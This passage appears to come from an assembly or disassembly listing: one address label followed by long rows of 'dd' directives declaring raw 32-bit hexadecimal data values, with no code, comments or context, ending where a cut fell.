33170FA4h dd 2B5A0009h, 0E9587627h, 719D9B9Fh, 815E9797h, 70DDB5E5h dd 97908AC9h, 0C19C329Eh, 0F74FFC84h, 685DCF90h, 0F62E5F3Bh dd 0F8989286h, 809040BBh, 608C732h, 896DE0A7h, 0FE2980DCh dd 533856BFh, 59BDC6B0h, 0CA57383Eh, 716574EBh, 3B251088h dd 0F1680E3h, 564F62A9h, 5D9596E4h, 0E91CF29Ch, 0D52FB2C3h dd 0CE9AE994h, 0AD04FEBFh, 60342154h, 1FF260AEh, 0B1074C38h dd 88E9DF21h, 25CDC68Bh, 49CEA7E6h, 0B27E5B75h, 7BA91B27h dd 0D76886DFh, 0AA5F9D7Fh, 6C63B8B1h, 1BCC581h, 4CC23CC0h dd 3008450Bh, 0A5FB5F05h, 244A012Dh, 0FEEE357Fh, 0E8294569h dd 0F066811h, 287D7625h, 0DFAF24B9h, 82DBCCCh, 4BFA774h dd 486A1072h, 4DAF02C0h, 5AF24BC2h, 8CFC6867h, 0E34E31A8h dd 0BC4ED9F7h, 5456C04Ch, 0DDAB9EE9h, 8513FB26h, 9FE2F812h dd 2DA45392h, 505997CAh, 0FAAF1D31h, 5A3A97Bh, 38A7FF9h dd 0C298A6EFh, 0DDC7CBE9h, 210CB7A0h, 682F4DB8h, 97386687h dd 691A3D09h, 1E084C1h, 4A21F501h, 7D2A7ADCh, 0E592282Eh dd 0ED81020Dh, 421D5B31h, 7F5AF5D4h, 5A16E1FBh, 8B5768BFh dd 0E0A66EEFh, 0F482E892h, 886BD1D9h, 8A416A36h, 0EB03D728h dd 891EA708h, 0C271DC79h dd 3C0D74E0h, 2AB051E9h, 262EB67Fh, 0F1169955h, 4F5459F0h dd 4C429F58h, 4C7C1C49h, 451C7727h, 0A8D5F30h, 4C66F720h dd 0FF09115Ah, 3E02EFC0h, 6801C50Eh, 0B72A5159h, 0D102340Ch dd 234F00ABh, 0E6816F42h, 18497900h, 51EED126h, 55F704B9h dd 0FF290519h, 3F1358B2h, 0D635F2DCh, 1860F6B3h, 6AD9739Ah dd 82E7D2BFh, 5E226408h, 0CF7FC153h, 0C2515477h, 32556F68h dd 7B4B7F44h, 0D48271BDh, 0B67B92D6h, 245C330Bh, 0CBFE5091h dd 0CBB816C2h, 0AB0D94FBh, 0F965641Dh, 0AFE18E65h, 47852E1Ch dd 222031F1h, 0DA842FB2h, 675FD8BFh, 0C5EDB960h, 82D0D2C8h dd 9021EB75h, 9527FE79h, 0E951AB80h, 5699F64Fh, 9617D7A5h dd 10DEEB10h, 6E6813B7h, 0C92BEFCDh, 0D5EB4277h, 0BA685700h dd 17432571h, 14866075h, 3F8F301Ah, 57B4E70Eh, 0FA06758h dd 0CB0CEEF7h, 0FD12095Dh, 0E9B59D16h, 42605FB7h, 0B119D6F1h dd 823232F7h, 7371D8E9h, 41D7A075h, 0E842884Fh, 2B752F0Fh dd 5DC258C8h, 5B58FE6Ch, 0CBEB87Dh, 796E0387h, 74133B0Ch dd 41BA46EBh, 0CF4C30A2h, 43822F27h, 7F21DD05h, 7EE8835Ah dd 0E9B07BBCh, 0B8A83493h, 2E16BFF6h, 0CFE5532h, 0B4144E1Bh dd 40E5A92Eh, 96FDE27h, 6F3E19Dh, 2F2ACCADh, 0BBC02981h dd 494047E9h, 0DB041359h, 1E61F85Bh, 0C3672C24h, 9EAFEFD8h dd 1028630Dh, 68520ED3h, 0AF1256AAh, 9E0003D9h, 68848B5h dd 0F68059EEh, 974A5541h, 82694AEh, 0C52F14CAh, 98CA205Bh dd 21740936h, 19DC7DF5h, 12856308h, 3202CD5Fh, 1DA3171Ch dd 0C72A378Dh, 0A66F1B8Dh, 0A84EB0AEh, 29024A3h, 1731E503h dd 71AA8C40h, 2D6EA522h, 0CB403CE9h, 0C13A2BFh, 0D11F1992h dd 6557C1D3h, 0FF02C4BBh, 111221B6h, 0C3BF2343h, 451EC8B8h dd 514FBFF8h, 0C7C162F3h, 41490DE7h, 461C5A98h, 774B605Ch dd 3F27FFEDh, 1DED3AE8h, 0EB1B6600h, 7E57B705h, 66509503h dd 8C030782h, 0FB85CF8Ch, 0E983EC8Ah, 30842A14h, 5BE06F46h dd 0BA38042Ch, 0E471FB09h, 0A006D07Ch, 4C614078h, 81AD35AFh dd 0F36BB2FDh, 0E9019340h, 743F4221h, 0F02A70h, 529B270h dd 44E5A5C5h, 0B081315Bh, 5299C67Ah, 0BF95CA51h, 9E2504FBh dd 0BBB5863h, 44C0C1ECh, 0A3B1A5F9h, 40FAFF13h, 29E7F77Fh dd 78DD15D2h, 7E9B39C6h, 1ED1F20Ch, 12E9898Ch, 17B0CC43h dd 0F7B4441h, 40652DEDh, 1FCD04AEh, 0C8E2EE9Ah, 8F688A25h dd 4BBE58C3h, 305DEADh, 3F601471h, 46DF5CDAh, 5B0C810Dh dd 1F3D56Fh, 6315E881h, 815960Bh, 40D81EA4h, 31F5BF94h dd 0BB501ACh, 5F1B22D4h, 592852B9h, 485501A6h, 0C9E98FD6h dd 3573286h, 80CB8103h, 5253DA08h, 18C3016Eh, 0E94DF467h dd 49F32F27h, 41BF3E40h, 0DCB231BEh, 5E95A510h, 4C3AAF7Dh dd 4663F75Ch, 0E6FE844Ah, 0ECDD84D9h, 0AF009114h, 2DEEEB17h dd 0F82F2A35h, 0A4AC21Fh, 970B6407h, 0B815B00Dh, 2A2127ACh dd 481FFBDEh, 41790FC1h, 321053Dh, 0C06611F7h, 0F1ED02C9h dd 7D42AF16h, 3F72ECC8h, 95B3B82Eh, 0D7D2E90Bh, 9E54A6C6h dd 0A109BFECh, 60630267h, 814072F9h, 67906E31h, 4F835BEBh dd 6004AB10h, 29FADCA6h, 96C56D3Bh, 0AC4CCEFh, 680B41BEh dd 0F3E675A6h, 70E9DD12h, 2BBDB1h, 6104F34Dh, 0EC802944h dd 66202D13h, 98655C07h, 8F86412h, 7F855D14h, 85A8D45Bh dd 0A145FA73h, 0FD82D529h, 0ECE10BC5h, 25626B55h, 55DCB85Dh dd 9EDA67Bh, 88F6858h, 0EC52BDB9h, 6AE164F2h, 2AA999B8h dd 6612D98Bh, 0AC7A41ADh, 0E871FB45h, 85C60FCDh, 3E1E84F1h dd 1616D987h, 68DD426Ah, 626C6CB2h, 0C853D40Bh, 20CB58FCh dd 789D9CD1h, 0E1C8B560h, 0C590DA29h, 0FE9F209h, 455768CFh dd 3CAFDFD6h, 6F92C22Ah, 26E5C854h, 0C412D0A2h, 6F5CA930h dd 22980591h, 0D5803D20h, 96E0BF8h, 0D208E92Ch, 0F15DC51Ah dd 37CB0B4Ch, 0B34F86F9h, 0B22AD769h, 0A78CC6C3h, 37F9955Eh dd 2DD052EBh, 7F67498Ch, 0AC416CA8h, 0D0C05DCEh, 899B6C3h dd 509242AEh, 8CFFDB52h, 0D94A7726h, 307B79A7h, 0C299D782h dd 0BD2C09A8h, 0E71AEDBBh, 2C56F616h, 28018416h, 5B0B12DDh dd 842CE946h, 5BC1F5F2h, 17E43E91h, 0F83772D1h, 9C15B85Bh dd 9D1009B0h, 0D94D7F0Eh, 0F9F003A1h, 314FAED0h, 295BDF0Ah dd 0B36450FAh, 926643B0h, 97C67D97h, 21C3B77Eh, 553726F8h dd 2DC61087h, 5A76D15Bh, 0AF2DBC20h, 784EEB2Fh, 433E91C0h dd 413F013Bh, 21E9E1D1h, 5BCA2F68h, 2B25BA10h, 0F725E25Ah dd 20A99E93h, 9082DA5h, 7FC06805h, 0F76064C4h, 1DE959C6h dd 454C958Eh, 2A625394h, 0BCF1D596h, 85436716h, 98F18149h dd 0C07F853Fh, 0B677450Ch, 0CF4A217Ah, 0E9D64EB2h, 0E7057D4Fh dd 28AF056Bh, 0FA9BC400h, 8201DF58h, 918B47FFh, 0C2E982DAh dd 45F9F5AEh, 4AE9426Ch, 6894005Eh, 0FDB441Fh, 3340CA90h dd 5EFD9841h, 8490F2D9h, 0DAC005E7h, 0E9D35344h, 1289EEFCh dd 0F0628B16h, 8A2C6D7h, 7B7F17B8h, 891FEEA5h, 5FD43367h dd 898DB80Dh, 0ED1C025Eh, 94840FF0h, 43F2BE82h, 18CBF696h dd 0BD0A5103h, 0F89816D8h, 0B73E4482h, 366E492h, 68063612h dd 187613AEh, 13961698h, 0AA983B7Ch, 51044EFEh, 4E2C135h dd 0CA0FB8ECh, 7B000930h, 675AE94Ah, 68039095h, 0BF27700Ah dd 5BC02156h, 509FF0Dh, 3323E981h, 65738131h, 0BBCA82CEh dd 0E0F71649h, 8264B34Bh, 0A539D174h, 7E47F841h, 0DB9D2702h dd 6A2034C6h, 4BF3B0BDh, 4EE2EDEAh, 0B93F6E2h, 92FB3CFDh dd 7F71E269h, 0EC15FE4h, 446E1E27h, 0B822E410h, 52013C34h dd 9099410h, 762A75E9h, 6CE2532Ch, 5F16A95Eh, 0B8460005h dd 0E3211D92h, 5131C9F1h, 681D9C7Bh, 0AB9B64F4h, 7340A53Ch dd 0EA643h, 96899A1Bh, 0F395F031h, 4FBE0871h, 34B04E13h dd 23FF2768h, 12E04198h, 0DAD85C81h, 907B9752h, 32D88B88h dd 0F8D4D5CAh, 0DCFEC116h, 319F1119h, 0E038EB5Eh, 0ABA72D17h dd 0C1BABE13h, 2A943245h, 0D33E2CE7h, 183BB2Dh, 40BAC2FEh dd 90EE7CE4h, 7CB44C1Dh, 4267F281h, 3F20620Dh, 4E5D0292h dd 0D876E91Ah, 45AA155h, 813AED80h, 2DF18ED3h, 6DA092A9h dd 6DD49754h, 2F4EF763h, 27427BC9h, 5AD5EC03h, 0E2813FF8h dd 835D7612h, 0E306BFACh, 0C7F5529h, 0A0694408h, 0B9F50131h dd 0A58975D4h, 8B365E3Ah, 72B071CDh, 0F326853h, 78767157h dd 0DF554E6Fh, 5FBC5895h, 0E4AE3095h, 21955882h, 0C42CC797h dd 4071B56Ah, 78E93AD2h, 1E8CA75Fh, 297BC49Ch, 0FA14C5E8h dd 0F88479D7h, 178184C3h, 0AE362C56h, 0FC4AF5CAh, 4329B1BBh dd 0C14CB123h, 0DDF8C62Fh, 452F27B4h, 9F4409BCh, 95D21C5Fh dd 429F7A4Ch, 4245C5EAh, 484BF72Fh, 9B4B6EB0h, 0E3C9D9A0h dd 3E9E0416h, 2B601B01h, 0F3F0118Ah, 84F812F7h, 0D67E0BCDh dd 68DB79C8h, 0EFC1C450h, 9042A09h, 56590433h, 77AC0580h dd 0AA134A55h, 0A940990Bh, 4218DCD8h, 0F17FF079h, 4925BDB6h dd 0CB736862h, 7F7FB88Bh, 93B0CF4Ch, 30174A4Bh, 6EA90EECh dd 90364EA6h, 1A76EA51h, 29583EFEh, 0F28B5E90h, 39619F04h dd 384AA03h, 2FAB5484h, 6CF45A08h, 9D2FE343h, 0B9F23C06h dd 570B496Ch, 0E17253E9h, 8BA4F73Dh, 57216309h, 0E91882CCh dd 0EF29D37Ah, 0F8B4331Fh, 5E9FEFEh, 50C25317h, 78D557E2h dd 3D91B49Bh, 930FB01Eh dd 0A43A04C6h, 0C7FE00CCh, 9502F780h, 0C0FCCD50h, 1806E23Dh dd 1B0634C2h, 680E1304h, 51092191h, 92B23E46h, 2ABE5601h dd 6E70A56Dh, 0B31FD4ACh, 128D71Bh, 9F127E00h, 0F9CC302Fh dd 0E78DD302h, 5C5EF509h, 0FDBC3A10h, 13702FDh, 0C3D3E9EAh dd 0CB9D92AEh, 0D266BCAh, 0CD0F6A4Fh, 0A414D766h, 23CC01CBh dd 4E6DF25Eh, 6021AAA0h, 8004A495h, 3674AA06h, 24445760h dd 183E661Fh, 0A401EE83h, 8E2D89D1h, 9F10F83Ch, 89289251h dd 0CBA5840h, 1BD40B34h, 6F26254Eh, 0D9166640h, 0EC506BF0h dd 876741ACh, 0B2520280h, 0E9D2F6E3h, 0F97AFD1Bh, 5C662CD6h dd 0BAFC0416h, 97E3884h, 3F05D75Ch, 4A23ED2Bh, 0A22EC7FAh dd 1975F273h, 35A41E07h, 3C892CACh, 0B448A88Fh, 80280AF3h dd 5D686185h, 42E72F6Ch, 7345BF00h, 0E7D12E7Ch, 620945B8h dd 5C2C030Eh, 0D7E2096Ch, 9D899F5Ch, 0C1337F50h, 93CF5B4Dh dd 7977108h, 0BB062CBAh, 0D1EA1080h, 234BF718h, 54FE2A85h dd 210B5B6Fh, 95835BDAh, 3A6BE4DCh, 3F2F7796h, 0A89A9F65h dd 5193C126h, 0A53B1E73h, 182967E8h, 0B944CC9Fh, 14133FE7h dd 55FE6C60h, 21241B10h, 0E100FFD9h, 64D749EEh, 8EE825E9h dd 3512305Ah, 0D0FAF33Ch, 5674C6FDh, 0C723E30h, 25D667A9h dd 447E89A0h, 41CCB42h, 0E3BDAB5Ah, 8A86809h, 0F774FE9Ah dd 0B93E5151h, 2FA4B45Fh, 0F970A314h, 446A1865h, 0FD1B4E20h dd 64568FB9h, 0BDE4039Ah, 0CC025E68h, 0E9185B6Fh, 0EAEB83D2h dd 824F12A7h, 0A95E0925h, 10A622FEh, 0C2DF371Eh, 330E7EFBh dd 0A97FEB6Fh, 2833D847h, 0BA9F801h, 3DFD32F2h, 7A5FBCC1h dd 50E96230h, 19C4B517h, 0C1107920h, 4C38A578h, 190C825Dh dd 0F7D4BEFBh, 78B1E089h, 4E8A7B5Bh, 0C3C60114h, 784AC100h dd 67966815h, 2037C697h, 73FAD2DEh, 24A5B9Dh, 42E13652h dd 3028CC56h, 5C253AF2h, 0F7314241h, 2E4A9880h, 69B57D37h dd 730F201h, 7FF7F8D0h, 1BAB8DAh, 2B9E2A13h, 3ED694E9h dd 0A42B3899h, 855A1807h, 4ED51AECh, 5779512Fh, 0B880DABCh dd 255936EDh, 967A09A7h, 0A7610882h, 0E4BF05D6h, 0D040E623h dd 0F066FE80h, 64644FD1h, 88CEAE59h, 0BAF6A825h, 1E7955D2h dd 0B14FE9C1h, 20F01397h, 50AC687Bh, 0CFF098BFh, 3BB98108h dd 5FEF6A95h, 0B4809603h, 0FEC1D9E0h, 25F8760Fh, 4665EE2Ah dd 97584F04h, 389DC243h, 9197ABBDh, 361ACF91h, 8798C17Ah dd 3B913FC2h, 693E0EBh, 0B4AA591Eh, 0F5366A82h, 0B78D24CBh dd 6802429Eh, 0F1B15103h, 0A740D1F6h, 63C9FEC6h, 13E1B4D0h dd 88C0C1D3h, 302D59CBh, 6B9A75DAh, 775DE255h, 56B5454Ch dd 2C2CAEFh, 109B01E9h, 9218E028h, 455F2E5h, 9131576h dd 0E5F600D6h, 0FE210664h, 134C7EC3h, 0BC290A7Bh, 430841ECh dd 0E35BC00Bh, 1F29C804h, 0EDD7F512h, 6403A8FFh, 24520826h dd 320BD0ACh, 0AEB25718h, 8CF3BC08h, 0B7C23166h, 40CCC04Eh dd 21E82D68h, 0D9BA3EB8h, 6EC00112h, 6F048F13h, 8DAA500Eh dd 31E96129h, 0E2C725A1h, 644F115Ch, 8BB2562h, 84283B1Ch dd 58476A97h, 387E0F88h, 0F1A06650h, 4FB55F0Ah, 1B749FCh dd 20D24499h, 0F6F29270h, 20559768h, 986B303Dh, 107A9DE0h dd 0B334E0B5h, 77FAAAB2h, 5C986695h, 16FABBEBh, 0EB7B1D3Fh dd 4F0A78Ch, 0E9284F34h, 0FE8B8F4h, 0EDA8743h, 0FD429277h dd 7537FCBEh, 679CEF8h, 9F4E4EB8h, 0FD088407h, 0F5805BE0h dd 76C7E6C0h, 43EF3855h, 6010DD73h, 287F59F6h, 58C3E912h dd 5F8FBDE8h, 0FB94B925h, 0DF4106E2h, 9ED2AC3Eh, 0AC44F10h dd 0C3161E7Ah, 61CD86A2h, 0BB2C038h, 0CF41A2B8h, 178DEB20h dd 0AE76061Dh, 89D65EC1h, 20EED101h, 7B0F6F5Bh, 0E9563582h dd 53B18B5Eh, 85BB88DAh, 0C7895704h, 586C0FEAh, 0A44C6B89h dd 83B09E98h, 78308F5Fh, 0FD14203Dh, 0F302B17Dh, 88A101ECh dd 6804A2F6h, 81AA33C3h, 9DCD373Bh, 7E89483Ch, 74914894h dd 20C13013h, 4339180Ch, 0B01293Eh, 5EB48EE9h, 0FF0BEB92h dd 2258ABF6h, 60189520h, 7C9DDEB8h, 0B35E370h, 4BC77927h dd 0BEE3DBA9h, 0E370E12Ch, 49AC4189h, 3CBEE5CEh, 9B53C75h dd 0C5AF528h, 9497A20Eh, 358241Bh, 0A3B353F3h, 8581E3F1h dd 0D3F68606h, 5FEBD3EEh, 0DB71C785h, 0CE289603h, 0E9D304DDh dd 6178E16Fh, 0C2B22A31h, 9A405D89h, 561E02BFh, 8C8E01E5h dd 0A2AA1267h, 0F0A95B98h, 0F978E418h, 7F1EC5CAh, 1DC83EEFh dd 54BD0163h, 702E7B3Bh, 4E12DF70h, 4F946C03h, 895D0802h dd 3A01F7CEh, 0CADAA330h, 0C4537FC1h, 12C5573h, 82019F5h dd 914FF89Dh, 0D7770BA4h, 1FA23C6Eh, 20AF6C77h, 0BE24021Fh dd 8A60F601h, 0BE737C15h, 15DD3B46h, 0ED05524h, 0FB16C552h dd 7F596F63h, 0F968620Fh, 0B8E3C280h, 8A7A7DB2h, 2B2A9C0Ch dd 14226254h, 90452873h, 0B529EF0Eh, 0E9CF47F3h, 52A21B99h dd 0A3F93BE6h, 0C84CAC82h, 0EAA4069h, 657F2537h, 0DE8B60D5h dd 5FF99055h, 0AAD2738h, 0D7EB006Ah, 134C74Dh, 411FCB58h dd 89E83A08h, 0B51A69Fh, 0F07EA2F0h, 4385F78Dh, 2D224AD4h dd 0E4766D88h, 3F4FD820h, 5DB30B80h, 27297946h, 52F45FFBh dd 31E9D3C0h, 4926B4A2h, 5F767F5h, 0E2582E68h, 84513C64h dd 0D43758Fh, 606E26B3h, 46055AA0h, 0EC02E281h, 0E9219D68h dd 4DAD067h, 13276CB9h, 84288063h, 554A7AC0h, 77D19EC1h dd 1DF78665h, 16EFC986h, 82B01EF6h, 0A5015315h, 0D5E0BCAh dd 0A0CEE962h, 44685595h, 60955C15h, 0CE936F13h, 0F2257EF0h dd 0BFFF52A6h, 388A2740h, 816FD900h, 0A2342DCDh, 136DB042h dd 41847B7h, 9F866ACh, 17635505h, 3E81DDD1h, 76F708Ah dd 41F7A0EDh, 7F68506Fh, 39AE4217h, 677F60BAh, 4419F997h dd 3B6EADC2h, 6AE792E5h, 0FC7E9B8Dh, 0C458302Ah, 7C180A8Bh dd 0B9FA257Bh, 2DA70718h, 0A0D10180h, 8012F038h, 9603B050h dd 3058C228h, 5A212DD5h, 80F855DCh, 2C2607C5h, 0CEE8280Ch dd 4B7B9A96h, 69C2AEFh, 0A7D685Ch, 0AA8171F9h, 1F345E9Eh dd 0BB146DBFh, 5DD7022Dh, 9B25D214h, 0A76F51B9h, 3E1731D9h dd 8BBB6756h, 0D997441Eh, 0DB8B184Bh, 62C90500h, 0D801583Fh dd 5B072D50h, 0C05FE97Bh, 0BB135475h, 78D1F2F2h, 16372811h dd 318861B1h, 1CF70976h, 0DA08EE29h, 5AD68B08h, 0C976E42Eh dd 8EF093B1h, 50260D22h, 376834DCh, 0D3A70BC9h, 0C5CFA451h dd 0A7B39D28h, 0FD417427h, 0CAB6805Ah, 12C26064h, 0D8F70992h dd 0AB5083E9h, 0A2B65D95h, 8ABE916h, 0C1D64223h, 5895DFA4h dd 0EED3435Fh, 1721782Ch, 8A148BD3h, 9EE84A6Eh, 0BF6295E4h dd 9210ACF0h, 0C2681818h, 0CD09EB4Ah, 0B6187D82h, 79F80F05h dd 49E96812h, 0F92587ABh, 50A1F955h, 1A12B3BAh, 0CDBC4018h dd 504C7D10h, 5A078702h, 0FB211E07h, 695BD4D7h, 442EA8CBh dd 0BB9B1CD8h, 2F686DDCh, 0EF985D2Ah, 0CBC06DB2h, 3BBA215Eh dd 0FE2D0758h, 52320336h, 12404396h, 0BD2E2705h, 8308A016h dd 975F1D10h, 0AD5F4121h, 2F1F5A68h, 73BBE231h, 3046D96Bh dd 3E3EBE49h, 25E9C09Fh, 3ADDA07Bh, 2A147D1Ah, 521749B1h dd 0A7CD62ABh, 5A12CFF8h, 0FC12FB29h, 0C6945ADh, 0E9855156h dd 66BB32EAh, 5425A425h, 8169B05Fh, 0BB3E866Eh, 782F70h dd 0DE5CB084h, 1BD6BF3Ch, 0B7436230h, 53D22559h, 15E9FBA7h dd 0F10093DCh, 105FBBE2h dd 0B4E0F440h, 71B940D2h, 81B8753Ah, 6582784Fh, 31844096h dd 0FD03F4C6h, 2984FC7Dh, 56B7E4D1h, 69E97940h, 31E1DD47h dd 0B342E71h, 60101DB9h, 9DDA40B1h, 73F03BD3h, 29A09774h dd 1AB533DBh, 0B1121398h, 97A0E079h, 0B5A0F8CEh, 1163658h dd 0DDC00E16h, 5AF74E0Ah, 2A16E0E8h, 0B47E4741h, 575F5260h dd 2CCBF7FDh, 0B66246F4h, 651EDE35h, 0CE6B8251h, 0EB0F9EABh dd 0BF21950Bh, 8E26AA68h, 1C69C4F1h, 9564C425h, 20C43E7Dh dd 214FAE52h, 0FC7C08A6h, 1C8869ECh, 0DBC52B80h, 15585D25h dd 0B10F329Ah, 0B67B57E5h, 374AB43Fh, 0C6FD41EAh, 6F3A8376h dd 0F541101Eh, 7F3D4893h, 0D874166Eh, 0F20181D4h, 37950277h dd 207A91E9h, 545FA0FDh, 4420297Bh, 0D96813D3h, 0C5F3A81Ch dd 31A39DFEh, 45208258h, 8078B304h, 0E5EA88CBh, 0E5B22F9Dh dd 45615805h, 86AD0607h, 10A15596h, 40133ECEh, 0EFF4D7CDh dd 262D005Dh, 1172076h, 7A205F8h, 673A2582h, 4900F50Bh dd 26683F4Dh, 1D59F49Dh, 75DD4BB6h, 0D01EBDC2h, 891D5C9Dh dd 174472C6h, 294A1EF0h, 348EB8Ch, 417B0905h, 40AD9F7h dd 84777FE9h, 1A94056Fh, 0AF5F7FB6h, 0D2212365h, 5200BE88h dd 2FEFC2B2h, 5EB738B0h, 998C3172h, 18897643h, 80107601h dd 0F6FC1DE1h, 0E0C14BD9h, 0C0EC7383h, 602C04A9h, 925A64A2h dd 292648h, 209EB652h, 36CB5AF1h, 7C4E213h, 5866E1FDh dd 98277016h, 0D147208Ch, 0EA815E03h, 9201572Ah, 2542DD29h dd 0C4FD0809h, 17E91C72h, 0A35F25B6h, 8279B3FAh, 751D3D8h dd 0DB2CF828h, 0A84BFF64h, 75BF8BC5h, 0F01C8514h, 892458C8h dd 8C17A3D1h, 12457029h, 0A8AC2BD8h, 12C380CBh, 4F328C0h dd 914216EDh, 2F0583E5h, 0FC41CE8Fh, 0B405A628h, 12E22816h dd 55A91A8Dh, 30A8C675h, 4D53312Dh, 1392279h, 0BB94A5Eh dd 68715889h, 1ED8382h, 4044D545h, 0D8C28009h, 9402DFF0h dd 5E044AE8h, 31861FADh, 0CE5406F1h, 1AD60C06h, 803DEC4h dd 4F7163E9h, 68FE4570h, 0E397972Dh, 0DB2575F5h, 0E6CF585Eh dd 6056EECh, 0B2C4FEC4h, 2EB78027h, 0D608EFC0h, 89BE53A0h dd 81BF14BDh, 9B2E2762h, 0E4832267h, 256ECFFFh, 0FE69E831h dd 28A92568h, 278BC879h, 6C47560Fh, 7402E816h, 0CE920BBh dd 2F7E516Ch, 0E2C10D04h, 0FC0B76A3h, 0E9FDD372h, 0E7C545CBh dd 431E97Eh, 55757AD8h, 0F2D41E0h, 542926A0h, 15A08C1h dd 948D3E4Ch, 84101106h, 2F4ED01Fh, 86D4AF93h, 0EBA98A57h dd 0EF709885h, 753ED6A4h, 81E39DBCh, 68070605h, 0FC98027Bh dd 4583A1A1h, 205CF17Fh, 6F2411FFh, 8C13988Eh, 355FD740h dd 0E3010A64h, 549A06Eh, 4754AB5h, 0A2FEEDD7h, 0B8452679h dd 0CDD6885h, 0B6E62CFFh, 0D38E235Bh, 0E4555525h, 21DF95D5h dd 3E93E9FBh, 0F884743Ah, 68BB5E27h, 0FBA6654h, 0F8DEBFE8h dd 0F4ECB02Ah, 29903E7Fh, 8A8E3A20h, 5838D491h, 41E671FEh dd 2241D895h, 0C66586D6h, 0BE855CEh, 0D8E25B2Dh, 525CD389h dd 0F1D4B860h, 0E9E70984h, 0F6FA43EFh, 792F7E25h, 0F9AE4D0Dh dd 490B2A71h, 0B5F1D85Bh, 8FC3C168h, 0B56FBAh, 0D378E25Dh dd 16A5AB2Eh, 0EA9809CEh, 0B6C09B64h, 0FD3840EEh, 0B37B066Fh dd 699546B8h, 6D00D78Dh, 584FD060h, 0C381ACE2h, 6F6F6BE9h dd 0E496D2BDh, 37531F5Fh, 85015FCEh, 779630A3h, 9D528A60h dd 0D2224847h, 0EC596B96h, 0EE24E908h, 0DD8B7880h, 1B0DB5Bh dd 292E1AEDh, 0B56A603Fh, 0B685180h, 2F0422A3h, 0D1C2FE54h dd 2E54249h, 74C6CF94h, 4086CDBEh, 5C22F09Ch, 0E981461Ch dd 65343607h, 0CCDE7552h, 7C9B59C1h, 0B82DEA5Ah, 0A113C679h dd 6D88FBD4h, 6BE64107h, 31795FBDh, 621CBD11h, 0C5D7816Bh dd 55B33CB0h, 0B6C8F5EEh, 2678EE80h, 968AA42Eh, 122F968Eh dd 83E4F3AFh, 1CA337E9h, 72DBA20h, 0B3422E39h, 17079C85h dd 4F8A2A70h, 0F3CA81B0h, 36752F74h, 0FB17B770h, 0CE043C5Eh dd 76B3AE3Ah, 164CF410h, 0EB01C7B2h, 26C4801Ch, 60306161h dd 0F3D6627Eh, 7A755FFEh, 0E3460B89h, 3DED8CAh, 465B5009h dd 967F954Fh, 37D49599h, 1BDADD72h, 5D6E202Dh, 0B3093C12h dd 0F9A5C357h, 0A22EBBEBh, 9FF29664h, 8F402A27h, 5297CD87h dd 297E131Ah, 0B76C0406h, 2A99A989h, 40EF745h, 4FBA2CC4h dd 0C08B6BB2h, 0B8C2B729h, 80CD027Bh, 0F7089AC6h, 9310EBF4h dd 358FBE3Bh, 33443B9Ch, 8849AA95h, 25610106h, 0B6A3D8Eh dd 0FE89BF0Ah, 723FD5F4h, 90D508A2h, 80B54379h, 5C1E9ABBh dd 5B9380A2h, 0A2EF4152h, 0ACA9A313h, 0EF17AE12h, 9C167D19h dd 0FDE5EA04h, 12FAE26Eh, 8AEEE768h, 59E9097Bh, 9585A86h dd 111E65A2h, 126EB075h, 0E4C4B014h, 78134BE5h, 0FF60D95Dh dd 5EB9C74Fh, 8159485Fh, 48327210h, 1979C6DEh, 5C6C400Eh dd 574C5D7Eh, 58EB48F2h, 48996A1Fh, 5D6FB80Bh, 0D2B0A366h dd 0B4C4CD4Fh, 0E5CBEDBAh, 5452C1FAh, 0C2B0285Bh, 5F99BDE9h dd 10A5BDBh, 0E9E121C3h, 316AFC36h, 3A77C649h, 52634CCCh dd 3B1718A4h, 7A9AFE72h, 0E19DE916h, 9A9A6AC5h, 0A362C62Fh dd 0E99679DDh, 0D845E2DCh, 0BE599B4h, 6BCC31FDh, 0D059E284h dd 0A476CD14h, 7DF35750h, 0AF85AA13h, 2612A3BDh, 733F399h dd 33861EFAh, 2F2B9AD3h, 0BBE05E1Ah, 3B2455EBh, 0F40073C9h dd 29376B22h, 41E913FEh, 16ADE9BFh, 22E349CAh, 0DFDCD227h dd 186C2B88h, 3EB64E5Bh, 563DAC00h, 0BA28A0BEh, 27E91406h dd 57CFCBFEh, 5CDDD32Ch, 3EF3C4FEh, 5425CFA6h, 681260CCh dd 128D1637h, 0A4F885EBh, 244050E2h, 15BB5F9Eh, 5A255B39h dd 0AE863DE2h, 0DF4B0F85h, 561071B7h, 0EED116ABh, 0DCF03E1Ch dd 9312544h, 0A61E9F2h, 0A169117Eh, 65A6821h, 0A2D14A25h dd 1001A36Ah, 5F25D54Fh, 0F7F2C87Eh, 5A5C47B0h, 1197FD96h dd 0B7539100h, 1EFA8810h, 0A5D1285Bh, 0E983EC8Fh, 0FA8518A3h dd 0A61C25A3h, 0F32520A0h, 8754D951h, 0CBC9536Fh, 0E61C9075h dd 0B08B82CAh, 3740540Fh, 0C6B92F06h, 49E5DD16h, 2AC7C301h dd 136142AEh, 0C57773DCh, 0CB1FE061h, 7BA59A1h, 5FD0170Ah dd 0B0EC55E9h, 68E61C27h, 724D9777h, 25F298C0h, 6418DDF2h dd 1D9ABC8Fh, 524E4C02h, 60B8502Eh, 9D173769h, 40684D60h dd 8A31515Fh, 2A63A9D9h, 9AF4D13Ch, 0B7249000h, 0E92FB9B6h dd 0EEA468F3h, 0FE051686h, 0EE111220h, 0A8FC80C6h, 1E8CB983h dd 934AAE5Bh, 860FE002h, 9FAC64Fh, 147D67D5h, 4F1EB0E8h dd 3D0CCC82h, 1FFC4D4Fh, 7AC5F8B5h, 5C0B069Fh, 6DF33AA8h dd 0A5402124h, 91D09C5Dh, 857DC280h, 5C8D395Dh, 84B5BC6Fh dd 126A3Dh, 56C8E5B2h, 0CF2F29D1h, 924D659h, 84033435h dd 50275205h, 0C7E26889h, 80724B6Eh, 176A8756h, 2BF5735Eh dd 821C0806h, 0E2C1C114h, 0F1FAF83Eh, 0C3729FE9h, 336AEA02h dd 0F65711B8h, 5AE2010Dh, 21089E18h, 40EE2E78h, 33EF6842h dd 0D340298Dh, 4B694FF7h, 0F38559C4h, 7648C2B5h, 0B7B1BF41h dd 0ABA2A80Dh, 0B2396688h, 6A729D61h, 8228E5A4h, 0EE7E79AFh dd 5FA0D4Ah, 41A9C530h, 683C77E1h, 0C86CCEC3h, 0FE505B0Bh dd 74960B78h, 2E006979h, 62356B2Eh, 1D2BDC9Dh, 444692E9h dd 52309FADh, 82BCF3EBh, 0B1461C68h, 0E53CB6F4h, 35055800h dd 836EBA59h, 4095C07Ah, 698AE96Fh, 0ADF82297h, 80AB40FBh dd 0F3B00ACAh, 5C4B7B9Ah dd 3A12AFE2h, 0CB67AA12h, 